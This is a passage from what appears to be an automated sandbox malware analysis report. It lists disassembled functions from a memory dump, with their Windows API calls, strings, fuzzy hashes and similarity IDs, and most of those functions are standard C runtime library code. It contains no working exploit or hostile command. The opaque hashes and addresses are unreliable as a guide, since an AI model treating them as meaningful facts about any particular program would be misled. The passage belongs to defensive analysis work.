WriteConsoleW.KERNEL32 ref: 00007FF73A411231
GetLastError.KERNEL32 ref: 00007FF73A41123D
CloseHandle.KERNEL32 ref: 00007FF73A411255
CreateFileW.KERNEL32 ref: 00007FF73A411280
WriteConsoleW.KERNEL32 ref: 00007FF73A41129F

Strings

CONOUT$, xrefs: 00007FF73A411261

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f25c2d8c593b11f8c83384468c2dd056456f1e66f8aabcddf9c567de3769352b
Instruction ID: 66c5b7e626b14eb13ce59df5fae91239d672a4b697324f706afb97e8943676c3
Opcode Fuzzy Hash: f25c2d8c593b11f8c83384468c2dd056456f1e66f8aabcddf9c567de3769352b
Instruction Fuzzy Hash: 9A11D365B18A8182F750AF0BF845329F6A0FB98FE4F954274EA1E83794CF3CD5049750

Function 00007FF73A404AA4 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0000475671667E7C,00007FF73A4006B1,?,?,?,?,00007FF73A40A0B6,?,?,00000000,00007FF73A400CCF,?,?,?), ref: 00007FF73A404AB3
FlsSetValue.KERNEL32(?,?,0000475671667E7C,00007FF73A4006B1,?,?,?,?,00007FF73A40A0B6,?,?,00000000,00007FF73A400CCF,?,?,?), ref: 00007FF73A404AE9
FlsSetValue.KERNEL32(?,?,0000475671667E7C,00007FF73A4006B1,?,?,?,?,00007FF73A40A0B6,?,?,00000000,00007FF73A400CCF,?,?,?), ref: 00007FF73A404B16
FlsSetValue.KERNEL32(?,?,0000475671667E7C,00007FF73A4006B1,?,?,?,?,00007FF73A40A0B6,?,?,00000000,00007FF73A400CCF,?,?,?), ref: 00007FF73A404B27
FlsSetValue.KERNEL32(?,?,0000475671667E7C,00007FF73A4006B1,?,?,?,?,00007FF73A40A0B6,?,?,00000000,00007FF73A400CCF,?,?,?), ref: 00007FF73A404B38
SetLastError.KERNEL32(?,?,0000475671667E7C,00007FF73A4006B1,?,?,?,?,00007FF73A40A0B6,?,?,00000000,00007FF73A400CCF,?,?,?), ref: 00007FF73A404B53

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 183ea4b654a2927cb57ff5b6e312d1b252af88a8218432f9fc1c8a049c828961
Instruction ID: 0534289fceff33880149570e56d36ca82475b558699312cfe7b24ca81179134b
Opcode Fuzzy Hash: 183ea4b654a2927cb57ff5b6e312d1b252af88a8218432f9fc1c8a049c828961
Instruction Fuzzy Hash: E711812CF0C28261FA14F32DA557139E1529FA47B0F8207B5D97E07AC6DEACA4407632

Function 00007FF73A405020 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF73A40509F
WriteFile.KERNEL32 ref: 00007FF73A405367
WriteFile.KERNEL32 ref: 00007FF73A4053AD
GetLastError.KERNEL32 ref: 00007FF73A405463

Strings

|~fqVG, xrefs: 00007FF73A405045

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID: |~fqVG
API String ID: 2718003287-3303519982
Opcode ID: c9748ac32c1102b20c7c6c1123d5a4a5edcc360f79a124e8f5ea6fbe1a7d5f71
Instruction ID: bcab0d8465ce99bf59f6f570f10fec21dbff92de5c88825c3ad441fc6ef0af3c
Opcode Fuzzy Hash: c9748ac32c1102b20c7c6c1123d5a4a5edcc360f79a124e8f5ea6fbe1a7d5f71
Instruction Fuzzy Hash: F3D13176B08A8199F711DF78C4412ECB7B1FB54B98B958275CE4E97B89CE38D006E312

Function 00007FF73A3FB804 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF73A3FB874
_CallSETranslator.LIBVCRUNTIME ref: 00007FF73A3FB8BF

Strings

MOC, xrefs: 00007FF73A3FB888
|~fqVG, xrefs: 00007FF73A3FB81D
RCC, xrefs: 00007FF73A3FB890

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC$|~fqVG
API String ID: 3544855599-1735612089
Opcode ID: 30b907a34009c3924f1289ebb5dfadb100318b6469519c0968d5c3143115a71d
Instruction ID: 60f9bf1f23658f3676331509b7047b9cda07346d17d07a7b906ce16458a2fb81
Opcode Fuzzy Hash: 30b907a34009c3924f1289ebb5dfadb100318b6469519c0968d5c3143115a71d
Instruction Fuzzy Hash: 579104B7A197829AFB10EF64E8412ADB7A0FB44788F50413AEE8C17755DF38D195DB00

Function 00007FF73A3F1340 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF73A3F1497
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F1513
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F1519
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF73A3F153D

Strings

|~fqVG, xrefs: 00007FF73A3F1353

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy__std_exception_destroy
String ID: |~fqVG
API String ID: 2138705365-3303519982
Opcode ID: 89188d226876ff831ad9afe282e06b0276ff154876618beabad931a82bcd60cb
Instruction ID: 2a3bff73e5e4b177f1795c7acaee116023e728e0ce4b6d404351458f08fb7d63
Opcode Fuzzy Hash: 89188d226876ff831ad9afe282e06b0276ff154876618beabad931a82bcd60cb
Instruction Fuzzy Hash: E251E966A29BC291FE10DB24E4423A9E361FB99794F909335EB9C02B99DF3CD4C4D710

Function 00007FF73A3F1B30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF73A3F1B9B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF73A3F1BE3
_Getctype.LIBCPMT ref: 00007FF73A3F1BFB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF73A3F1C8B

Strings

bad locale name, xrefs: 00007FF73A3F1CAE

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: 3d6d4fad8a00866f6e3c776309861b3f13548d4d884e2ecd0977807a0c359330
Instruction ID: 963c3aad1d162cbcfcf96f97006eafd02f3375bc5c94ec2f2230e38a07e6d1a3
Opcode Fuzzy Hash: 3d6d4fad8a00866f6e3c776309861b3f13548d4d884e2ecd0977807a0c359330
Instruction Fuzzy Hash: 7C41922AB1AB42AAFF10EB70D4522BC6374AF40744F8444B9DF4E27A55DF38D556E320

Function 00007FF73A401130 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF73A401155
GetProcAddress.KERNEL32 ref: 00007FF73A40116B
FreeLibrary.KERNEL32 ref: 00007FF73A401192

Strings

CorExitProcess, xrefs: 00007FF73A401164
mscoree.dll, xrefs: 00007FF73A40114C

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a92427a8a7a94bc3e110f6083a1c86e9f30f9f999ec61db51a8263dfc59daad0
Instruction ID: 09e3001d194f67f109d0e435e79387c279391774ece2bd888a1c9e0d71eb0f9e
Opcode Fuzzy Hash: a92427a8a7a94bc3e110f6083a1c86e9f30f9f999ec61db51a8263dfc59daad0
Instruction Fuzzy Hash: BFF0C8A9B1870661FB14AB1CF446339E360AF597A0FE50275C96D051E4CF2CD044E720

Function 00007FF73A3FA490 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF73A3FA5B3
__AdjustPointer.LIBCMT ref: 00007FF73A3FA5FE

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d23c261393fe5d9345011d4d8cae44813ade9e9095501f5385085d884223d958
Instruction ID: 1355cf661f3880b229c2cb15361b16520e85db26802d3097adb2e25b34f3c0fa
Opcode Fuzzy Hash: d23c261393fe5d9345011d4d8cae44813ade9e9095501f5385085d884223d958
Instruction Fuzzy Hash: FCB10329E2B643A1FE65BB119442639E7A0AF44FC4F8984BDDE4D07785DF3CE442A360

Function 00007FF73A411C48 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF73A411C70
_set_statfp.LIBCMT ref: 00007FF73A411C8B
_set_statfp.LIBCMT ref: 00007FF73A411CA7
_set_statfp.LIBCMT ref: 00007FF73A411CE3

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 5785710400c8fee3bac2d009e2e74cd863281d11c80b40594c2ba0b0a5132646
Instruction ID: d80eb955dfdcf89c46cc0123e96e7d9b1dbadbd47e84dab7f7aa34a84b5772d4
Opcode Fuzzy Hash: 5785710400c8fee3bac2d009e2e74cd863281d11c80b40594c2ba0b0a5132646
Instruction Fuzzy Hash: E711C47AE0CA07A1F654376CE453375C0407F95370FAB06B8E96E063D6AE2CA8C67224

Function 00007FF73A404B6C Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF73A3FF3EB,?,?,00000000,00007FF73A3FF686,?,?,?,?,?,00007FF73A3FF612), ref: 00007FF73A404B8B
FlsSetValue.KERNEL32(?,?,?,00007FF73A3FF3EB,?,?,00000000,00007FF73A3FF686,?,?,?,?,?,00007FF73A3FF612), ref: 00007FF73A404BAA
FlsSetValue.KERNEL32(?,?,?,00007FF73A3FF3EB,?,?,00000000,00007FF73A3FF686,?,?,?,?,?,00007FF73A3FF612), ref: 00007FF73A404BD2
FlsSetValue.KERNEL32(?,?,?,00007FF73A3FF3EB,?,?,00000000,00007FF73A3FF686,?,?,?,?,?,00007FF73A3FF612), ref: 00007FF73A404BE3
FlsSetValue.KERNEL32(?,?,?,00007FF73A3FF3EB,?,?,00000000,00007FF73A3FF686,?,?,?,?,?,00007FF73A3FF612), ref: 00007FF73A404BF4

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 70f740f3023a92d3b8a35c9147fc4d3e48c9d5d0f5abb6972c87376f9b4a82fe
Instruction ID: 2756cb0964f4d71eabd4e87fce3ab430c61bcf16fcb6490d274389d8127058f5
Opcode Fuzzy Hash: 70f740f3023a92d3b8a35c9147fc4d3e48c9d5d0f5abb6972c87376f9b4a82fe
Instruction Fuzzy Hash: C611AF28E0C24261FA58F32DA553139E1529F903B0F8747B5D53E0B6D6DE6CE441B632

Function 00007FF73A404A00 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF73A404A11
FlsSetValue.KERNEL32 ref: 00007FF73A404A30
FlsSetValue.KERNEL32 ref: 00007FF73A404A58
FlsSetValue.KERNEL32 ref: 00007FF73A404A69
FlsSetValue.KERNEL32 ref: 00007FF73A404A7A

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a7b3d1736a5456aa3531299a47ac971f4219bb52a0d3bc5effd8ecf20bbcc0c1
Instruction ID: de5d8c23db890dc0c7502f45a261a7abd3c97f60e5bf88d07e82d9c78678aaec
Opcode Fuzzy Hash: a7b3d1736a5456aa3531299a47ac971f4219bb52a0d3bc5effd8ecf20bbcc0c1
Instruction Fuzzy Hash: AD11F11CE0D20761F958F2BD6413179E1425F64370E964BB9D93E0A2C2DDACB4817676

Function 00007FF73A409780 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A409A29

Part of subcall function 00007FF73A40F688: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40F6A5

Strings

ccs, xrefs: 00007FF73A409975
UTF-16LEUNICODE, xrefs: 00007FF73A4099CD
UTF-8, xrefs: 00007FF73A4099AC

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 38d272e447d5746b0ee3b6a85f6e63384077e4b6069fc838a17b2a89ee85e727
Instruction ID: ca7056f34dbbaa6b4b6affdc112f0ab15035fe16c0c64f47724d7d4efc226213
Opcode Fuzzy Hash: 38d272e447d5746b0ee3b6a85f6e63384077e4b6069fc838a17b2a89ee85e727
Instruction Fuzzy Hash: AF81B23AD0C242A5F779EE2C8252239EB909F12744FD750B5CA0D57397CA1DE801B723

Function 00007FF73A3F9E94 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF73A3F9EBF
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF73A3F9F56
RtlUnwindEx.KERNEL32 ref: 00007FF73A3F9FB0

Strings

csm, xrefs: 00007FF73A3F9F3D

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: d73933c8cc523cdd2746a819842a37e00f423e6638d35d2228c426cfb4e16dea
Instruction ID: 610043e121519078d5995047d48833c2d9d2277b84223b0df1182b7d2094edb7
Opcode Fuzzy Hash: d73933c8cc523cdd2746a819842a37e00f423e6638d35d2228c426cfb4e16dea
Instruction Fuzzy Hash: 1F51E136A2A603AAFF14AF15E405A38F391FB44B88F904179EA4D43388DF3DE8419710

Function 00007FF73A3FBD84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF73A3FBDAC
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF73A3FBE94

Strings

csm, xrefs: 00007FF73A3FBDCE
csm, xrefs: 00007FF73A3FBEE6

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: ced92a26e68f8faf10be867b2926ed9b68afcc563360ef92477b975877ea4a75
Instruction ID: bfb06211a89f940adf5bb6379dbc8d337c6d63468b3f4bc1331702f6facc695f
Opcode Fuzzy Hash: ced92a26e68f8faf10be867b2926ed9b68afcc563360ef92477b975877ea4a75
Instruction Fuzzy Hash: AD51E17A9293439EFF24AF119446368B7A0EB54B84F94417ADB5C87B85CF3CE450DB10

Function 00007FF73A3FB594 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF73A3FB5F3
_CallSETranslator.LIBVCRUNTIME ref: 00007FF73A3FB63F

Strings

RCC, xrefs: 00007FF73A3FB60F
MOC, xrefs: 00007FF73A3FB607

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 0c9c0748ab2ccf05807d721b40c3b6d99c38ab84ebc95d48332250c1543fc0c9
Instruction ID: ff4b804a1ca9440c6a3e92969b8fe5dd40a069b1967c8c9b0d73e6cf2ebd9b84
Opcode Fuzzy Hash: 0c9c0748ab2ccf05807d721b40c3b6d99c38ab84ebc95d48332250c1543fc0c9
Instruction Fuzzy Hash: 2061E476919BC695EB60AF15E4413AAF7A0FB84B84F444279EB8C03B59DF3CE094CB10

Function 00007FF73A3F6290 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF73A3F62FB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF73A3F6343
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF73A3F63D3

Strings

bad locale name, xrefs: 00007FF73A3F63F6

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 1deee40651b4476868030aafa90c3e28cad5691699546a4096424e5a976d4dbe
Instruction ID: e3e848bdba9d39a060f1da89c2bd5d48f0857ad4be8c9676c08f5dfa3e04cb99
Opcode Fuzzy Hash: 1deee40651b4476868030aafa90c3e28cad5691699546a4096424e5a976d4dbe
Instruction Fuzzy Hash: 67417F2AB5B682E9FF10EF70D4922ACA364AF44748F440479EE4E27A59CF3CD515E324

Function 00007FF73A4056B8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF73A4057CF
GetLastError.KERNEL32 ref: 00007FF73A4057F1

Strings

|~fqVG, xrefs: 00007FF73A4056D7
U, xrefs: 00007FF73A40577B

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U$|~fqVG
API String ID: 442123175-186519428
Opcode ID: 42c920046dc7a2b1a26b748f4d44017816129ea4c39c0289737a4b3c3130d930
Instruction ID: e86343e4d5157cceb1f0fbfd4c385a6a0ac66fdb217ac42306c1232a75bf0d90
Opcode Fuzzy Hash: 42c920046dc7a2b1a26b748f4d44017816129ea4c39c0289737a4b3c3130d930
Instruction Fuzzy Hash: 8941E376B18A81D2EB20EF29E4463A9E760FB98784F914031EE4D87788DF3CD401E751

Function 00007FF73A3F7E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(?,?,?,?,?,?,00007FF73A3FF59F), ref: 00007FF73A3F881E
capture_previous_context.LIBCMT ref: 00007FF73A3F8836
__raise_securityfailure.LIBCMT ref: 00007FF73A3F88D8

Strings

|~fqVG, xrefs: 00007FF73A3F88B0

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
